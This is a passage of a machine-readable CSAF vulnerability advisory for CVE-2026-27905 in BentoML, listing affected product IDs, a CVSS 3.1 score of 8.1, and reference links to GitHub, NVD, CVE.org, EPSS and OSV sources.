"CSAFPID-2779662", "CSAFPID-2779663", "CSAFPID-2779665", "CSAFPID-2779666", "CSAFPID-2779667", "CSAFPID-2779668", "CSAFPID-2779669", "CSAFPID-2779670", "CSAFPID-2779671", "CSAFPID-2779672", "CSAFPID-2779673", "CSAFPID-2779674", "CSAFPID-2779675", "CSAFPID-2779676", "CSAFPID-2779677", "CSAFPID-2779678", "CSAFPID-2779679", "CSAFPID-2779680", "CSAFPID-2779681", "CSAFPID-2779682", "CSAFPID-2779683", "CSAFPID-2779684", "CSAFPID-2779685", "CSAFPID-2779686", "CSAFPID-2779687", "CSAFPID-2779688", "CSAFPID-2779689", "CSAFPID-2779690", "CSAFPID-2779691", "CSAFPID-2779692", "CSAFPID-2779693", "CSAFPID-2779694", "CSAFPID-2779695", "CSAFPID-2779696", "CSAFPID-2779697", "CSAFPID-2779698", "CSAFPID-2779699", "CSAFPID-2779700", "CSAFPID-2779701", "CSAFPID-2779702", "CSAFPID-2779703", "CSAFPID-2779704", "CSAFPID-2779705", "CSAFPID-2779706", "CSAFPID-2779707", "CSAFPID-2779708", "CSAFPID-2779709", "CSAFPID-2779710", "CSAFPID-2779711", "CSAFPID-2779712", "CSAFPID-2779713", "CSAFPID-2779714", "CSAFPID-2779715", "CSAFPID-2779716", "CSAFPID-2779717", "CSAFPID-2779718", "CSAFPID-2779719", "CSAFPID-2779720", "CSAFPID-2779721", "CSAFPID-2779722", "CSAFPID-2779723", "CSAFPID-2779724", "CSAFPID-2779725", "CSAFPID-2779726", "CSAFPID-2779727", "CSAFPID-2779728", "CSAFPID-2779729", "CSAFPID-2779730", "CSAFPID-2779731", "CSAFPID-2779732", "CSAFPID-2779733", "CSAFPID-2779734", "CSAFPID-2779735", "CSAFPID-2779736", "CSAFPID-2779737", "CSAFPID-5338650", "CSAFPID-5338651", "CSAFPID-5338652", "CSAFPID-5338653", "CSAFPID-5338654", "CSAFPID-5338655", "CSAFPID-5338656", "CSAFPID-5338657", "CSAFPID-5338658", "CSAFPID-5338659", "CSAFPID-5466676", "CSAFPID-5466677", "CSAFPID-5466678", "CSAFPID-5466679", "CSAFPID-5466680", "CSAFPID-5466681", "CSAFPID-5466682", "CSAFPID-5466683", "CSAFPID-5466684", "CSAFPID-5466685", "CSAFPID-5466686", "CSAFPID-5466687", "CSAFPID-5466688", "CSAFPID-5466689", "CSAFPID-5466690", "CSAFPID-5466691", "CSAFPID-5466692", "CSAFPID-5466693", "CSAFPID-5466694", "CSAFPID-5466695", "CSAFPID-5466696", "CSAFPID-5466697", "CSAFPID-5466698", "CSAFPID-5466699", "CSAFPID-5466700", "CSAFPID-5466701", "CSAFPID-5466702", "CSAFPID-5466703", "CSAFPID-5466704", "CSAFPID-5466705", "CSAFPID-5466706", "CSAFPID-5466707", "CSAFPID-5466708", "CSAFPID-5466709", "CSAFPID-5466710", "CSAFPID-5466711", "CSAFPID-5466712", "CSAFPID-5466713", "CSAFPID-5466714", "CSAFPID-5466715", "CSAFPID-5466716", "CSAFPID-5466717", "CSAFPID-5466718", "CSAFPID-5466719", "CSAFPID-5466720", "CSAFPID-5466721", "CSAFPID-5466722", "CSAFPID-5466723", "CSAFPID-5466724", "CSAFPID-5466725", "CSAFPID-5466726", "CSAFPID-5466727", "CSAFPID-5466728", "CSAFPID-5466729", "CSAFPID-5466730", "CSAFPID-5466731", "CSAFPID-5466732", "CSAFPID-5466733", "CSAFPID-5466734", "CSAFPID-5466735", "CSAFPID-5466736", "CSAFPID-5466737", "CSAFPID-5466738", "CSAFPID-5466739", "CSAFPID-5466741", "CSAFPID-5466742", "CSAFPID-5466743", "CSAFPID-5466744", "CSAFPID-5466745", "CSAFPID-5466746", "CSAFPID-5466747", "CSAFPID-5466749", "CSAFPID-5466750", "CSAFPID-5466751", "CSAFPID-5466752", "CSAFPID-5466753", "CSAFPID-5466754", "CSAFPID-5466755", "CSAFPID-5466756", "CSAFPID-5466757", "CSAFPID-5466758", "CSAFPID-5466759", "CSAFPID-5466760", "CSAFPID-5466776", "CSAFPID-5466777", "CSAFPID-5466778", "CSAFPID-5466779", "CSAFPID-5466780", "CSAFPID-5466781", "CSAFPID-5466782", "CSAFPID-5466783", "CSAFPID-5466784", "CSAFPID-5466785", "CSAFPID-5466787", "CSAFPID-5466788", "CSAFPID-5466789", "CSAFPID-5466799", "CSAFPID-5466801", "CSAFPID-5466806", "CSAFPID-5466808", "CSAFPID-5466809", "CSAFPID-5466810", "CSAFPID-5466811", "CSAFPID-5466813", "CSAFPID-5466814", "CSAFPID-5466815", "CSAFPID-5466817", "CSAFPID-5466818", "CSAFPID-5466819", "CSAFPID-5466821", "CSAFPID-5466822", "CSAFPID-5466824", "CSAFPID-5466825", "CSAFPID-5466828", "CSAFPID-5759233", "CSAFPID-5759234", "CSAFPID-5759235", "CSAFPID-5763881" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-m6w7-qv66-g3mf" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-m6w7-qv66-g3mf" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27905" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27905" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27905" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27905.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27905" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-m6w7-qv66-g3mf.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-m6w7-qv66-g3mf" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-m6w7-qv66-g3mf" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/bentoml/BentoML/commit/4e0eb007765ac04c7924220d643f264715cc9670" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27905" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-1080817", "CSAFPID-2577217", "CSAFPID-2622823", "CSAFPID-2622824", "CSAFPID-2622825", "CSAFPID-2779653", "CSAFPID-2779654", "CSAFPID-2779655", "CSAFPID-2779656", "CSAFPID-2779657", "CSAFPID-2779658", "CSAFPID-2779659", "CSAFPID-2779660", "CSAFPID-2779661", "CSAFPID-2779662", "CSAFPID-2779663", "CSAFPID-2779665", "CSAFPID-2779666", "CSAFPID-2779667", "CSAFPID-2779668", "CSAFPID-2779669", "CSAFPID-2779670", "CSAFPID-2779671", "CSAFPID-2779672", "CSAFPID-2779673", "CSAFPID-2779674", "CSAFPID-2779675", "CSAFPID-2779676", "CSAFPID-2779677", "CSAFPID-2779678", "CSAFPID-2779679", "CSAFPID-2779680", "CSAFPID-2779681", "CSAFPID-2779682", "CSAFPID-2779683", "CSAFPID-2779684", "CSAFPID-2779685", "CSAFPID-2779686", "CSAFPID-2779687", "CSAFPID-2779688", "CSAFPID-2779689", "CSAFPID-2779690", "CSAFPID-2779691", "CSAFPID-2779692", "CSAFPID-2779693", "CSAFPID-2779694", "CSAFPID-2779695", "CSAFPID-2779696", "CSAFPID-2779697", "CSAFPID-2779698", "CSAFPID-2779699", "CSAFPID-2779700", "CSAFPID-2779701", "CSAFPID-2779702", "CSAFPID-2779703", "CSAFPID-2779704", "CSAFPID-2779705", "CSAFPID-2779706", "CSAFPID-2779707", "CSAFPID-2779708", "CSAFPID-2779709", "CSAFPID-2779710", "CSAFPID-2779711", "CSAFPID-2779712", "CSAFPID-2779713", "CSAFPID-2779714", "CSAFPID-2779715", "CSAFPID-2779716", "CSAFPID-2779717", "CSAFPID-2779718", "CSAFPID-2779719", "CSAFPID-2779720", "CSAFPID-2779721", "CSAFPID-2779722", "CSAFPID-2779723", "CSAFPID-2779724", "CSAFPID-2779725", "CSAFPID-2779726", "CSAFPID-2779727", "CSAFPID-2779728", "CSAFPID-2779729", "CSAFPID-2779730", "CSAFPID-2779731", "CSAFPID-2779732", "CSAFPID-2779733", "CSAFPID-2779734", "CSAFPID-2779735", "CSAFPID-2779736", "CSAFPID-2779737", "CSAFPID-5338650", "CSAFPID-5338651", "CSAFPID-5338652", "CSAFPID-5338653", "CSAFPID-5338654", "CSAFPID-5338655", "CSAFPID-5338656", "CSAFPID-5338657", "CSAFPID-5338658", "CSAFPID-5338659", "CSAFPID-5466676", "CSAFPID-5466677", "CSAFPID-5466678", "CSAFPID-5466679", "CSAFPID-5466680", "CSAFPID-5466681", "CSAFPID-5466682", "CSAFPID-5466683", "CSAFPID-5466684", "CSAFPID-5466685", "CSAFPID-5466686", "CSAFPID-5466687", "CSAFPID-5466688", "CSAFPID-5466689", "CSAFPID-5466690", "CSAFPID-5466691", "CSAFPID-5466692", "CSAFPID-5466693", "CSAFPID-5466694", "CSAFPID-5466695", "CSAFPID-5466696", "CSAFPID-5466697", "CSAFPID-5466698", "CSAFPID-5466699", "CSAFPID-5466700", "CSAFPID-5466701", "CSAFPID-5466702", "CSAFPID-5466703", "CSAFPID-5466704", "CSAFPID-5466705", "CSAFPID-5466706", "CSAFPID-5466707", "CSAFPID-5466708", "CSAFPID-5466709", "CSAFPID-5466710", "CSAFPID-5466711", "CSAFPID-5466712", "CSAFPID-5466713", "CSAFPID-5466714", "CSAFPID-5466715", "CSAFPID-5466716", "CSAFPID-5466717", "CSAFPID-5466718", "CSAFPID-5466719", "CSAFPID-5466720", "CSAFPID-5466721", "CSAFPID-5466722", "CSAFPID-5466723", "CSAFPID-5466724", "CSAFPID-5466725", "CSAFPID-5466726", "CSAFPID-5466727", "CSAFPID-5466728", "CSAFPID-5466729", "CSAFPID-5466730", "CSAFPID-5466731", "CSAFPID-5466732", "CSAFPID-5466733", "CSAFPID-5466734", "CSAFPID-5466735", "CSAFPID-5466736", "CSAFPID-5466737", "CSAFPID-5466738", "CSAFPID-5466739", "CSAFPID-5466741", "CSAFPID-5466742", "CSAFPID-5466743", "CSAFPID-5466744", "CSAFPID-5466745", "CSAFPID-5466746", "CSAFPID-5466747", "CSAFPID-5466749", "CSAFPID-5466750", "CSAFPID-5466751", "CSAFPID-5466752", "CSAFPID-5466753", "CSAFPID-5466754", "CSAFPID-5466755", "CSAFPID-5466756", "CSAFPID-5466757", "CSAFPID-5466758", "CSAFPID-5466759", "CSAFPID-5466760", "CSAFPID-5466776", "CSAFPID-5466777", "CSAFPID-5466778", "CSAFPID-5466779", "CSAFPID-5466780", "CSAFPID-5466781", "CSAFPID-5466782", "CSAFPID-5466783", "CSAFPID-5466784", "CSAFPID-5466785", "CSAFPID-5466787", "CSAFPID-5466788", "CSAFPID-5466789", "CSAFPID-5466799", "CSAFPID-5466801", "CSAFPID-5466806", "CSAFPID-5466808", "CSAFPID-5466809", "CSAFPID-5466810", "CSAFPID-5466811", "CSAFPID-5466813", "CSAFPID-5466814", "CSAFPID-5466815", "CSAFPID-5466817", "CSAFPID-5466818", "CSAFPID-5466819", "CSAFPID-5466821", "CSAFPID-5466822", "CSAFPID-5466824", "CSAFPID-5466825", "CSAFPID-5466828", "CSAFPID-5757220", "CSAFPID-5759233", "CSAFPID-5759234", "CSAFPID-5759235", "CSAFPID-5763881" ] } ], "title": "CVE-2026-27905" } ] }